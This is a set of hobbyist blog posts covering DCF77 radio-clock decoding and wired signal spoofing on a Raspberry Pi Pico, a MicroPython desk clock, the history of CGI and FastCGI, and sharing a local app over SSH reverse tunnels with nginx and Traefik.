The previous clock-building project made me think that there must be a simpler way. So I just bought a desk clock.

Well, that's not exactly how it happened. I just happen to have more than one time-related stuff to do in parallel. This little project, for example, is about how people had access to accurate time before the Internet.

Of course, they looked out of the window and read the time off of the church tower. Thanks to modern technology, we can do this relatively easily. We just point a camera at the church tower and use artificial intelligence to read the time based on the position of the clock hands.

But it's not that simple. Somehow we have to determine whether it is morning or afternoon and it probably wouldn't hurt to know what the date is. Not to mention if there isn't a church tower in sight.

Observant readers may have noticed that I wouldn't need a desk clock for this. Well, yes, that wasn't the direction I was going, I didn't want to go that much back in time. Actually, I wondered how radio-controlled clocks could work.

Radio time synchronization

It all starts with a transmitter tower. From my area, I can pick up the signal sent out by a German tower called DCF77, but there are several other ones covering the whole world.

In the case of the DCF77, the signal is generated from an atomic clock and transmitted in 60 seconds. One bit is received every second. The signal sequence is terminated by an extended pause. However, there is quite a lot of noise, so you may not have enough data when the longer pause arrives, or more likely you may have 59 bits of data before the pause arrives, so depending on reception conditions, it may take quite a while to synchronize.

All we need is a receiver. This is usually done with a ferrite rod antenna and some electronics. It is possible to order a receiver from China, but I didn't want to wait a month and then deal with the local postal service, so the quickest solution seemed to be to order a cheap radio-controlled clock and inspect it.

The victim

Looking inside the clock mentioned earlier, you can see that there is a separate printed circuit board at the bottom and a ferrite rod antenna underneath it. I soldered them out.

The clock has successfully survived the surgery, everything works the same, except that it has lost its (radio signal) hearing.

EMAX 6007 V1
GE16-1055R5
NEW GE13-887

The labels on the radio receiver didn't help me to find any description, but based on other similar boards I figured out that the GND goes to ground, you want 3.3 volts on the VCC, the PON can turn the whole module on and off (but doesn't need to be wired anywhere) and we left with the NTCO, so that must be the data.

I added some more wires with jumper connectors on the end so I could use it with a breadboard, and then I wired the whole thing to a Pico.

It would have been nice to get it right the first time. I spent a couple of hours here trying to find out why no data was coming from the antenna. I tried searching for any documentation of the module, connected the PON, tried different GPIO pins on the Pico, and even suspected the code, but in the end, I solved it by connecting the module to a dedicated power source and the Pico only received the data signal. Probably the Pico could not supply enough power to the device.

Bits in the noise

We see some kind of data coming in, let's do something with it. At first, I just started flashing the LED on the Pico to get feedback on what was happening.

#include "pico/stdlib.h"

#define DCF_PIN 16
#define LED_PIN 25

void on_change(uint gpio, uint32_t event_mask) {
  gpio_put(LED_PIN, event_mask & GPIO_IRQ_EDGE_RISE);
}

int main() {
  gpio_init(DCF_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  gpio_set_irq_enabled_with_callback(
    DCF_PIN,
    GPIO_IRQ_EDGE_FALL | GPIO_IRQ_EDGE_RISE,
    true,
    &on_change
  );

  while (true) {
    sleep_ms(1000);
  }
}

The next step is to start measuring how long the signal is high and low. According to the documentation, 0 is received when the signal is high for 100 milliseconds, and 1 is received when the signal is high for 200 milliseconds. Since there is one bit per second, there should be 800-900 milliseconds of low between two high states. In the last second, no data is coming in, so there is a low state for 1800-1900 milliseconds.

First, we define some constant values for noise filtering, to determine whether we got 0 or 1 and to detect the end of the data.

#define MINIMAL_HIGH_PULSE_WIDTH 50
#define MINIMAL_LOW_PULSE_WIDTH 700
#define PULSE_WIDTH_THRESHOLD 150
#define END_OF_DATA_PULSE_WIDTH 1500

Then we will also need some variables to store the time of previous state changes and the data that has arrived so far.

uint32_t rise_time = 0;
uint32_t fall_time = 0;

uint64_t buffer = 0;
uint32_t buffer_position = 0;

After that, we only need to write the inside of on_change. We ask the Pico how many milliseconds have elapsed since it was started.

uint32_t now = to_ms_since_boot(get_absolute_time());

Then we do some noise filtering, otherwise it would be almost impossible to get the time.

if (now - fall_time < MINIMAL_LOW_PULSE_WIDTH) {
  return;
}

if (now - rise_time < MINIMAL_HIGH_PULSE_WIDTH) {
  return;
}

If the signal has gone from low to high, we check to see if the low signal was long enough to indicate the end of the data. If at that point we got 59 bits of data, then all is OK, if not, we start over.

if (event_mask & GPIO_IRQ_EDGE_RISE) {
  rise_time = now;

  if (rise_time - fall_time > END_OF_DATA_PULSE_WIDTH) {
    if (buffer_position == 59) {
      printf(" - data received: %lld\n", buffer);
    }
    else {
      printf(" - reset: not enough data\n");
    }
    buffer = buffer_position = 0;
  }
}

If the signal went from high to low, we decide whether we got a 0 or a 1 based on the length of the signal and store the result in the buffer. Here we may have more data than we need (due to noise), if this is the case we start over.

else if (event_mask & GPIO_IRQ_EDGE_FALL) {
  fall_time = now;

  uint64_t next_bit = fall_time - rise_time > PULSE_WIDTH_THRESHOLD ? 1 : 0;

  printf("%lld", next_bit);

  buffer |= next_bit << buffer_position;
  ++buffer_position;

  if (buffer_position > 59) {
    printf(" - reset: too much data\n");
    buffer = buffer_position = 0;
  }
}

If all goes well, we will have a series of data at the end, hopefully with the current exact time.

The data is flowing in very slowly...

Let's be sure

Noise has been mentioned several times, which can be a big problem. In the room where I have my desktop and servers, I have not even been able to extract any usable data. I had to move to another room with a laptop so I could test the code. During the day there was a lot of noise and it took me half an hour to get the exact time, but in the evening I got the data almost every minute.

So we have a bunch of bits, but we don't know if the fact that we thought we got a 1 actually meant that the other side sent a 1. To check this, there are three parity bits in the data, which are 0 if the data before it has an even number of 1s and 1 if it is odd. First, let's look at how to calculate parity for an arbitrary int:

int parity(int num) {
  num ^= num >> 16;
  num ^= num >> 8;
  num ^= num >> 4;
  num ^= num >> 2;
  num ^= num >> 1;
  return num & 1;
}

I won't go into the details, the Stack Overflow page I stole the code from has a great explanation. Also, we need to know which ones are the parity bits and what data they are calculated on. We can look this up on the related Wikipedia page. For example, for minutes:

int min_data = (int) ((buffer >> 21) & 0b1111111);
int min_parity = (int) ((buffer >> 28) & 1);

if (parity(min_data) != min_parity) {
  printf("invalid parity for minute\n");
}

We shift the buffer to the right by 21 bits (effectively discarding the first 21 bits), because the data for the minute starts at bit 22 and we take the first 7 bits (& 0b1111111) because that's how long the minute data is.

For parity, the first 28 bits are discarded and only 1 bit of the remaining data is retained. The parity we calculate should match the parity we got.

The hour and date are checked similarly, only the number of right shifts and the amount of data retained afterward varies.

int hour_data = (int) ((buffer >> 29) & 0b111111);
int hour_parity = (int) ((buffer >> 35) & 1);

if (parity(hour_data) != hour_parity) {
  printf("invalid parity for hour\n");
}

int date_data = (int) ((buffer >> 36) & 0b1111111111111111111111);
int date_parity = (int) ((buffer >> 58) & 1);

if (parity(date_data) != date_parity) {
  printf("invalid parity for date\n");
}

It's time

Once the buffer has passed the checks, all we need to do is extract the data and set the exact time on the Pico. First, let's look at the minutes here too.

int min = (int) ((buffer >> 21) & 0b1111111);
min = (min >> 4) * 10 + (min & 0b1111);

The extraction of the data is the same as for parity, but since the data is represented as a binary-coded decimal, there is a little extra work to do (the first four bits are the first digit, the second four bits (which are only three in this case) are the second digit).

The rest of the data can be obtained similarly, for the day of the week (dow), Sunday comes as a 7 and Pico wants to get that as a 0. Also, for the year, we have to add 2000 to the value because we only get the last two digits of the year.

int hour = (int) ((buffer >> 29) & 0b111111);
hour = (hour >> 4) * 10 + (hour & 0b1111);

int dom = (int) ((buffer >> 36) & 0b111111);
dom = (dom >> 4) * 10 + (dom & 0b1111);

int dow = (int) ((buffer >> 42) & 0b111);
if (dow == 7) {
  dow = 0;
}

int month = (int) ((buffer >> 45) & 0b11111);
month = (month >> 4) * 10 + (month & 0b1111);

int year = (int) ((buffer >> 50) & 0b11111111);
year = 2000 + (year >> 4) * 10 + (year & 0b1111);

Now we just have to tell the Pico RTC module what the exact time is.

rtc_init();

datetime_t t = {
  .year = (int16_t) year,
  .month = (int8_t) month,
  .day = (int8_t) dom,
  .hour = (int8_t) hour,
  .min = (int8_t) min,
  .sec = 0,
  .dotw = (int8_t) dow,
};

rtc_set_datetime(&t);

And that's it, we've got the exact time without the Internet.

The other direction

We are left with one poor, unfortunate clock that now can't synchronize itself because we've taken the radio module away. Then my dear colleague potato came up with the idea of giving it a fake signal, so I found myself once again unscrewing the clock and soldering some jumper cables in place of the old module. At first just for the GND and NTCO, but later I wired in the PON as well.

I connected it to the Pico and started sending it a signal, but the clock didn't like it so much.

At first, I suspected that it was the lack of the PON connection that was causing the problem, that the clock was getting a signal when it wasn't expecting it, so I plugged that in, but the flashing didn't get any better. Then I suspected the soldering, that I might have accidentally shorted something, but after a few minutes of examining it with a magnifying glass, everything looked fine.

Finally, I became suspicious that the Pico was putting out 3.3 volts and the clock was only running on 3 volts, so maybe 3.3 volts was too much for it. I pulled some resistors from a box, but couldn't find one that solved the problem by itself. After connecting one resistor the situation improved, after two it seemed to be fixed, so I finally connected three just in case.

Now we just need a little bit of code. I tried to replay previously recorded real data, which I repeated every minute, but the clock didn't care. I ran into a few bugs that I sent out the wrong data, but even after correcting these it still didn't work. I tweaked the timing a bit to see if the way I sent it was too accurate or something, but no. In the end, the solution was that the clock wanted to be sure and one data series wasn't enough for it. It needs two successful data series in a row to set the time on itself.

#include <stdio.h>

#include "pico/stdlib.h"

#define DCF_SIGNAL_PIN 12
#define DCF_ENABLED_PIN 13
#define LED_PIN 25

int main() {
  stdio_init_all();

  gpio_init(DCF_SIGNAL_PIN);
  gpio_init(DCF_ENABLED_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_SIGNAL_PIN, GPIO_OUT);
  gpio_set_dir(DCF_ENABLED_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  uint64_t buffers[] = {
    //-----PYYYYYYYYMMMMMWWWDDDDDDPHHHHHHPmmmmmmm1AZZARxxxxxxxxxxxxxx0
    0b0000000010010000001111100001001011100000000101000010100001000100,
    0b0000000010010000001111100001001011110000001101000010100001000100,
    0b0000000010010000001111100001001011110000010101000010100001000100,
    0b0000000010010000001111100001001011100000011101000010100001000100,
    0b0000000010010000001111100001001011110000100101000010100001000100,
    0b0000000010010000001111100001001011100000101101000010100001000100,
  };
  int buffer_idx = 0;

  while (true) {
    if (gpio_get(DCF_ENABLED_PIN)) {
      printf("dcf module is not enabled\n");
      sleep_ms(5000);
      continue;
    }

    uint64_t b = buffers[buffer_idx];
    ++buffer_idx;

    int length;
    for (int i = 0; i < 59; ++i) {
      length = b & 1 ? 200: 100;
      printf(b & 1 ? "1" : "0");

      gpio_put(LED_PIN, true);
      gpio_put(DCF_SIGNAL_PIN, true);
      sleep_ms(length);

      gpio_put(LED_PIN, false);
      gpio_put(DCF_SIGNAL_PIN, false);
      sleep_ms(1000 - length);

      b >>= 1;
    }
    printf("\n");

    sleep_ms(1000);
  }
}

I wanted to avoid to implement the data conversion and bit magic so I just used fixed values for the time. Anyway, the clock starts synchronizing after powering on, and after a few minutes, it sets the "accurate" time it got from the "radio signal". The LED on the Pico flashes to the beat of the signal.

I think that's the end of our little journey, we've exhausted almost all the entertainment that a cheap radio-controlled clock can offer. There's also a temperature sensor, a Piezo buzzer, and an LED backlight in it for the ones who need more adventure.

I've been thinking for a while now that it would be an interesting project to put together a desk clock. It could have, say, a stopwatch, multiple countdown timers that can run in parallel, maybe displaying temperature and humidity as well, that sort of thing. But life's not that easy, so we won't get that far.

First of all, I ordered some parts:

• a backlit LCD with some buttons on it
• a Debug Probe, which I just wanted to try out
• and a Pico W to power it all

Then the fun can begin... after we forget about it all for a month or so.

C/C++ SDK

The problems have started to appear with the Debug Probe already. Although the thing is smaller than if we had converted a Pico, but it cannot power the Pico being debugged, so overall, the more cables made it a bit of a letdown for me.

Regardless of whether it was a Picoprobe or a Debug Probe, in both cases, I needed extra hardware (which I purchased earlier, fortunately) to connect both the display and the probe to the Pico at the same time.

I've mentioned before that the CLion solution worked quite well on Linux, but on Windows I couldn't get it to work. This is only a problem because I have Linux installed on my laptop and Windows on my desktop and it's inconvenient for me to do longer development projects on a laptop.

So I tried to get it to work on Windows again, this time using WSL2. Things installed nicely in WSL2 according to the Linux guide and with the help of usbipd-win I was able to share the Pico with it. CLion has WSL2 support too, so it was able to build the project successfully, but it can't run OpenOCD in WSL2, so unfortunately, debugging didn't work. There is a ticket about it, so maybe this will be fixed one day.

This is a good way to get a project abandoned for a while (or forever), but in this case, I had another plan. There is an alternative solution: MicroPython. If we can let go of the lightning-fast C code, we can write it all in Python. It might even be enough for a prototype.

MicroPython

Of course, I was not satisfied with the recommended (working) solution, which was the Python IDE called Thonny. I have no particular problem with it, but if I already have a PyCharm, I would like to use it. Fortunately, there is a MicroPython plugin for it, which allowed me to upload the code to Pico without any problems.

First, we need to copy the MicroPython UF2 file to the Pico. In our case, we need to use the one supplied by the LCD display manufacturer so that we can access the modules that drive the LCD. The hardware part is also made considerably simpler this way. No need for the Debug Probe, we can connect the Pico directly to the display.

Code completion

Life would obviously be too simple if everything just worked. The first problem was code completion. The MicroPython plugin has some support, but it was not enough. Fortunately, there are stubs like micropython-rp2-pico_w-stubs which partially solve the problem, but of course, because of the modified MicroPython, some modules are not known by this stub. Fortunately, the vendor has made a stub for their own modules, but I couldn't find an official pip package, so I just downloaded the ZIP and installed it from the filesystem.

I would like to say that everything went smoothly after that... but no. For example, there was the GfxPack class that PyCharm didn't recognize the display property of. I'm not that familiar with stubs, but at a glance that seemed fine:

class GfxPack:
    # ...

    def __init__(self):
        self.display: PicoGraphics
        self.i2c: PimoroniI2C

So there may be something wrong with PyCharm. When I modified the stub a bit, it worked well:

class GfxPack:
    # ...

    display: PicoGraphics
    i2c: PimoroniI2C

    def __init__(self):
        ...

But now. Everything must be good now, right? Wrong. Let's just say it's usable. There are still some oddities around imports, it doesn't offer to import certain modules, but if I import them manually, it recognizes them.

In any case, we can write code and run it on Pico, but the MicroPytho REPL within PyCharm doesn't work for some reason. We don't see any prints sent to serial or even the stack trace of an exception, which doesn't make life any easier. I can connect to it using PuTTY and it works, but as long as PuTTY is connected to it, PyCharm can't send code to it, so it's a bit inconvenient. I'm sure it would work on Linux.

The clock

We should create something clock-like at the end, so we have some sense of achievement. First, I drew the layout on the computer and exported it in WBMP format (anyone else remember WAP?), which I could then quite easily read and display on the screen so I could view it on the actual hardware.

from gfx_pack import GfxPack


gp = GfxPack()
gp.set_backlight(0, 180, 60, 140)

with open('pico-clock.wbm', 'rb') as f:
    buffer = bytearray([b ^ 0xFF for b in f.read()[-1024:]])

gp.display.set_framebuffer(buffer)
gp.display.update()

The WBMP format has a variable size header at the beginning, but we know the size of the data because the display (and therefore the image) is 128*64 pixels. Each bit stores the state of one pixel, so the data is (128/8)*64, or 1024 bytes. Fortunately, the format of the framebuffer is exactly the same, so we have an easy job. The image originally appeared as a negative, so we had to invert the bits using b ^ 0xFF.

There were also some minor problems around PyCharm again. It didn't automatically copy the image file to Pico, I had to right-click on the file and press Run 'Flash pico-clock.wbm...' (every time the image was updated).

Now that we have the layout, we can forget about it and finally put together a prototype. The first step would be to get on WiFi and get an accurate time using NTP:

import network
import ntptime
import time


wlan = network.WLAN(network.STA_IF)
wlan.active(True)
wlan.connect('SSID', 'secret')

while not wlan.isconnected():
    print('WLAN is not ready\n')
    time.sleep(1)

ntptime.host = 'hu.pool.ntp.org'
ntptime.settime()

wlan.disconnect()

And then we display it nicely:

from gfx_pack import GfxPack


gp = GfxPack()
gp.set_backlight(0, 0, 0, 40)

while True:
    t = time.localtime()

    gp.display.set_pen(0)
    gp.display.clear()
    gp.display.set_pen(15)

    gp.display.set_font('bitmap6')
    gp.display.text(f'{t[0]}. {t[1]:02}. {t[2]:02}.', 0, 0)

    gp.display.set_font('bitmap14_outline')
    gp.display.text(f'{t[3]:02}:{t[4]:02}', 0, 20)
    if t[5] % 2:
        gp.display.set_pen(15)
    else:
        gp.display.set_pen(0)
    gp.display.text(':', 32, 20)

    gp.display.update()

    time.sleep_ms(30)

Maybe even add some backlight to it to make it look a bit more like a Casio watch from the nineties.

light_timeout = None
while True:
    if not light_timeout and gp.switch_pressed(SWITCH_E):
        light_timeout = time.time_ns() + 2000000000
        gp.set_backlight(0, 180, 60, 140)

    if light_timeout and light_timeout < time.time_ns():
        light_timeout = None
        gp.set_backlight(0, 0, 0, 40)

    # ...

The final result (after adding some extra status information):

Even for a prototype, it's still missing a lot of things, but unfortunately, this is as far as the project got in the first round. Also, MicroPython can't handle time zones, so we have to move to a country with a UTC timezone to use it.

What will happen to the clock after this? Will it go to the bottom of the drawer or will we see it in the future? Only time will tell.

The year is 1993. You need to develop a dynamic website, let's say a guestbook, which was quite popular at the time. How would you go about it? If your answer is to google how to do it, I have sad news for you, Google won't be a thing for another 5 years. AltaVista is still two years away. Stack Overflow? Another 15 years... Sure it wasn't easy to be a developer in the old days.

Sometimes it's good to look back to those old days to see if we can avoid the mistakes they made or prevent us from reinventing the wheel. That was one of my motivators to go on an adventure and learn about how web development evolved into what we know today.

Common Gateway Interface

They started to develop it in the early 1990s and a little later it became RFC 3875. As the name suggests, it is an interface between a web server and an application. What this means in practice is that if you have an arbitrary executable file, the web server can run it - after proper configuration - and return the output as a response.

The request data is received in environment variables and via standard input, and the response must be produced to the standard output, with small syntactic restrictions (the response must start with a Content-Type header).

The advantage is that it's simple, just copy a file to a directory, make it executable and you're done. The disadvantage is that each request means starting a new process, which can be slow and doesn't scale very well.

The easiest way to detect such configurations was that these applications usually lived in the /cgi-bin/ directory, which is still checked by automatic scanning tools today to see if they can find anything interesting there.

And when I said arbitrary executable, I meant it. Even a shell script can be the basis of a dynamic web page (if you are brave enough to parse query strings and multipart requests in a shell script):

#!/bin/sh

echo "Content-Type: text/plain"
echo
echo "Hello World!"

echo
echo "Environment:"
env

echo
echo "Input:"
cat -
echo

If you call this endpoint, the following data will be returned:

$ curl -d'foo=bar' 'http://127.0.0.1:8081/cgi-bin/test.sh?foo=bar'
Hello World!

Environment:
CONTENT_TYPE=application/x-www-form-urlencoded
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.16.1
SHLVL=1
QUERY_STRING=foo=bar
HTTP_USER_AGENT=curl/7.88.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
REMOTE_PORT=51282
HTTP_ACCEPT=*/*
SERVER_SIGNATURE=
CONTENT_LENGTH=7
CONTEXT_DOCUMENT_ROOT=/usr/local/apache2/cgi-bin/
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/test.sh
HTTP_HOST=127.0.0.1:8081
REQUEST_URI=/cgi-bin/test.sh?foo=bar
SERVER_SOFTWARE=Apache/2.4.58 (Unix)
REQUEST_SCHEME=http
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=POST
SERVER_ADDR=192.168.16.2
SERVER_ADMIN=you@example.com
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/local/apache2/cgi-bin
SERVER_PORT=8081
SCRIPT_NAME=/cgi-bin/test.sh
SERVER_NAME=127.0.0.1

Input:
foo=bar

The names of the environment variables may be familiar, they have been adopted in many places, probably to ease the transition from CGI.

The possibilities are endless, I've thrown in a few extra examples in the related Github repository (compiled binary from C code? Why not!), but Perl was probably the real star of the cgi-bin directory back then:

#!/usr/bin/perl

print "Content-type: text/plain\n\nHello, World.\n";

print "\nEnrivonment:\n";
foreach my $key (keys %ENV) {
    print "$key=$ENV{$key}\n";
}

print "\nInput:\n";
while (<>) {
    print;
}
print "\n";

Then in 1995, PHP arrived. At first, it was still a CGI script as well.

#!/usr/bin/php82
<?php

print("Content-Type: text/plain\n\nHello World!\n");

print("\nEnvironment:\n");
var_dump($_SERVER);

print("\nInput:\n");
var_dump(file_get_contents('php://stdin'));

Here I was a bit surprised to find the correct data in the $_SERVER array and not in the $_ENV array, maybe it's the newer PHP, or maybe I should have called it differently for CGI scripts, I don't know. But it doesn't really matter, because we could soon leave the CGI behind.

Alternative solutions

FastCGI

Also around 1995, FastCGI was released, which aims to address the performance problems of CGI. Based on the CGI::Fast package in Perl, it seems to work in several ways. A web server can start a CGI process in one or more instances, sending it FCGI requests on standard input and waiting for FCGI responses on standard output. It can also work by having the web server and the FCGI process communicate via a Unix socket or a regular network socket. The web server then converts the FCGI response to an HTTP response and you are done.

According to the protocol description, the web server can send multiple requests to a process at the same time, which the FCGI process can process in parallel if it supports it.

The advantage of this system is that it is easier to implement an FCGI server than an HTTP server (the original HTTP/1.0 RFC 1945 is 60 pages long, and the HTTP/1.1 RFC 2068 is 162 pages long). The disadvantage may be that there is a fairly trusting relationship between the web server and the FCGI server, so if someone else can accidentally talk to the FCGI server directly, it may not end well (for example, the FCGI server code may not handle malformed requests as well as the HTTP server, or it may be possible to bypass the authentication enforced by the web server this way).

As I mentioned, the FastCGI protocol is simpler than HTTP, so applications can more easily implement it. Just for fun, I quickly threw together a simple Python FCGI server that can return a similar response as our previous CGI scripts to any request.

mod_php

Around 1997, PHP 3 and the mod_php Apache module were released. At least based on my web archive findings, I concluded that mod_php came with PHP 3, but I'm not entirely sure. It's probably not that relevant to the story.

In the case of mod_php, the PHP interpreter runs inside the Apache process and executes the PHP files that way. The tighter integration has its advantages because you don't have to start a new process per request, but it has its drawbacks as well. The PHP interpreter still occupies memory even if the request is for a static file.

All in all, however, we can say it was quite successful, and to date, it is the recommended way to run PHP code with an Apache web server.

Simple Common Gateway Interface

FastCGI proved to be not simple enough, so a new competitor, SCGI, was introduced around 2001. The SCGI protocol is much simpler, but only one request can be made on a connection at a time.

For comparison, I have written a simple little SCGI server in Python as well that works similarly to the FastCGI server.

FastCGI, second round

In 2010, just over 15 years after the protocol's release, FastCGI support for PHP arrived in the form of the FastCGI Process Manager (FPM).

On top of that, some people got tired of Apache being too slow (a recurring theme throughout our story), and they brought us the Nginx web server in 2004. Now we have a decent alternative to Apache and mod_php in the form of Nginx and PHP-FPM.

The world is changing

As time went by, more and more languages wanted to be web-compatible. In 2003 came Python with WSGI, and in 2004 Ruby on Rails was released, which could initially run as CGI, FastCGI, or later with mod_ruby. Then in 2007 came Rack, which is a similar interface to WSGI for Ruby.

This works roughly by getting the HTTP request data from somewhere (web server written in the language, CGI, FCGI, whatever), it is then transformed into a unified structure according to the web interface of the language, which is then received by the application.

For Python, for example, this might look like this:

HTTP request -> Gunicorn -> WSGI environment -> Flask -> the code we wrote

For Ruby, something like this:

HTTP request -> Unicorn -> Rack environment -> Sinatra -> the code we wrote

While in theory, the source of the HTTP request could be several things, in practice it seems that the web server written in the language of choice has been the winner. Interestingly, this is where we start to move away from the technologies that were previously invented. Why implement a complicated HTTP server when there is a simpler alternative? Wouldn't an FCGI or SCGI server have been enough? Who knows.

Modern web development

Around 2009, Node.js was released because again someone didn't like that Apache was too slow and couldn't handle enough requests. Go was also released around that time. Both languages included HTTP servers in their standard library, which I think decided how web applications would be developed in these languages.

The general solution was to write frameworks around the built-in HTTP server, and applications would use those frameworks, so each application became its own web server.

Of course, the world has changed a lot in that time. Large applications have been split up into many small applications, where it has become increasingly rare to return full or partial HTML pages (so much so that rendering templates on the server side is a novelty for the newer generation), and so the needs have changed as well.

There are usually already some proxies in front of applications (HAProxy, Nginx, Traefik, and others) that deal mostly with HTTP requests, so it would just be an extra (probably unnecessary) moving part in the system to have another HTTP server in front of the application, whose only job is to translate from HTTP to, say, FCGI.

There's a good chance that optimization doesn't matter as much as it used to either. You don't necessarily have to have the HTTP server written in C, a Python implementation can still provide the performance you need.

Summary

We've come a long way, and perhaps forgotten a lot during the journey, but the things mentioned above are still alive and well (or at least functional), you can even try them out with the related CGI playground repository. There may even be cases where they are worth using. It would be a shame to waste a Kubernetes cluster on a problem that a CGI script can solve without an issue.

It could happen that we want to give someone access to some stuff that's running on our computer. Say you're developing an application and you want to share the current state with someone without having to push every little change and then wait for the build to finish to see the changes on the staging environment.

Depending on the network, this can be a rather complicated operation (firewalls, port forwarding, NAT traversal). Perhaps that's why there are services to solve this problem (quite a few, actually), but it wouldn't be a very interesting post if we'd go in that direction.

Rather, we will try to look for common household items that can solve this problem. One such tool is the SSH client, which almost everyone has at the bottom of their drawer (especially since it's been part of Windows for a while). In addition, we'll need a parchment-lined baking sheet publicly available server (like a cheap VPS from a cloud provider) and we're ready to get this party started.

Easy mode

Say, we have an application on the local machine that waits for incoming connections at 127.0.0.1:8080. We will simulate this with a simple Python HTTP server:

local:~$ mkdir fake-app
local:~$ cd fake-app
local:~/fake-app$ echo 'hello world' >index.html
local:~/fake-app$ python -m http.server -b 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...

Let's grab another terminal and try it out:

local:~$ curl 127.0.0.1:8080
hello world

We also have a VPS, which we named tunnel.example.org. With this setup, we can issue the following command on our local machine:

local:~$ ssh -R 8080:127.0.0.1:8080 user@tunnel.example.org

This will allow us to access our local application on the tunnel machine on port 8080 (SSH remote port forwarding). You can try this on the tunnel machine:

tunnel:~$ curl 127.0.0.1:8080
hello world

SSH will bind to 127.0.0.1 on the server (probably for security reasons), so we won't be able to access the application from outside, even if our firewall rules would otherwise allow it.

local:~$ curl tunnel.example.org:8080
curl: (7) Failed to connect to tunnel.example.org port 8080 after 30 ms: Couldn't connect to server

This can be circumvented by changing GatewayPorts in /etc/ssh/sshd_config to clientspecified and slightly modifying our ssh command:

local:~$ ssh -R 0.0.0.0:8080:127.0.0.1:8080 user@tunnel.example.org

Now this should work if you also have the right firewall settings:

local:~$ curl tunnel.example.org:8080
hello world

It may be a good solution for your own use, but it would be a bit more elegant to stick with the first version and start an nginx on the tunnel machine instead, which forwards requests to 127.0.0.1:8080:

/etc/nginx/sites-available/tunnel

server {
    listen 80;
    server_name tunnel.example.org;

    location / {
        proxy_pass http://127.0.0.1:8080/;
    }
}

Enabling the site and reloading the nginx configuration:

tunnel:~# ln -s /etc/nginx/sites-available/tunnel /etc/nginx/sites-enabled/
tunnel:~# systemctl reload nginx

And we're done:

local:~$ curl tunnel.example.org
hello world

Maybe nginx seems like overkill in this situation, but once it's there, we can use it for other things as well:

• a custom error page if the local application is not running or we are not connected via ssh
• logging
• HTTPS between nginx and external clients
• mTLS between the local application and nginx (this would probably need another nginx on the local machine as well)
• basic authentication for external clients

There you have it, our simple solution, using a not-too-complicated SSH command to share your local application with others. The only drawback is that only one person can use it to share only one application on a fixed address. Probably 99% of the time this will be enough, but let's look at a slightly more complicated solution. Just for the fun of it.

Advanced mode

There is a nice feature in the SSH client that if you set the remote port to zero in the command then it will listen on a random port on the remote machine:

local:~$ ssh -R 0:127.0.0.1:8080 user@tunnel.example.org
Allocated port 41025 for remote forward to 127.0.0.1:8080

[...]

So, we could do something like generating a random host when connecting (<random>.tunnel.example.org), and nginx would forward requests coming to this random host to the appropriate port on the tunnel machine. This would solve our one-person/one-application problem.

As far as I can tell, nginx does not excel at dynamic configurations. You could generate files and reload nginx, but this solution does not appeal to me so much. Then I remembered that Traefik is nice and dynamic, it has a provider that can configure things based on Redis key-values, so I started to go in that direction.

The Traefik installation is not too friendly if you don't want to use Docker. But Docker (Swarm) on the other hand is not too friendly in accessing services listening on 127.0.0.1 on the host machine, so we're still better off with that.

There's nothing left to do but download the binary and run it somehow.

tunnel:~# mkdir -p /opt/traefik
tunnel:~# cd /opt/traefik
tunnel:/opt/traefik# wget https://github.com/traefik/traefik/releases/download/v2.10.5/traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# tar -xf traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# rm traefik_v2.10.5_linux_amd64.tar.gz

My first thought was just to get away with running a ./traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80 & command and let it do its things in the background. That would be enough to test things, but in the end, I just created a systemd service file for it.

/etc/systemd/system/traefik.service

[Unit]
Description=traefik
After=network-online.target
Wants=network-online.target systemd-networkd-wait-online.service

[Service]
Restart=on-abnormal
User=traefik
Group=traefik
ExecStart=/opt/traefik/traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true

To make it work, we need a traefik user and group, and a Redis server.

tunnel:~# adduser --disabled-login --disabled-password --no-create-home traefik
tunnel:~# apt-get install redis-server

Then we just have to reload the systemd related things.

tunnel:~# systemctl daemon-reload
tunnel:~# systemctl start traefik.service

First of all, I wanted to reproduce the original behavior before I started to figure out the dynamic parts, so I set the following key-value pairs in Redis:

tunnel:~# redis-cli
127.0.0.1:6379> SET traefik/http/services/tunnel-service/loadbalancer/servers/0/url http://127.0.0.1:8080/
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/rule Host(`tunnel.example.org`)
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/entrypoints/0 web
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/service tunnel-service

We have a service listening on 127.0.0.1:8080 and a router rule that directs requests to tunnel.example.org on port 80 (the web entry point defined when we started Traefik) to our service. Fortunately, this worked just like the original nginx solution, so we're ready to dynamize.

My idea was based on the fact that you could specify a custom command in the authorized_keys file that runs on every SSH connection (this is how Git pull/push works over SSH, for example). Here you could specify a small shell script that would add the appropriate key-value pairs to Redis, and then just wait until the user closes the connection. On closing, it would clean up the Redis keys that were generated.

To do this, you may want to add a separate user so that you can continue to use SSH traditionally with your original user:

tunnel:~# adduser --disabled-password mole

In the authorized_keys file, we add a line with our SSH key:

/home/mole/.ssh/authorized_keys

command="/home/mole/tunnel.sh",no-X11-forwarding,no-agent-forwarding <SSH key>

The command would have a structure like this:

/home/mole/tunnel.sh

#!/bin/bash -e

setup() {
    # setup
}

cleanup() {
    # cleanup
    exit 0
}

trap 'cleanup' INT

setup
tail -f /dev/null

An important feature here is the trap 'cleanup' INT, which can catch the closing of our connection script with Ctrl+C so we can run our cleanup code. The tail -f /dev/null part just waits till the end of time.

Of course, we also need to make this file executable:

tunnel:~# chmod +x /home/mole/tunnel.sh

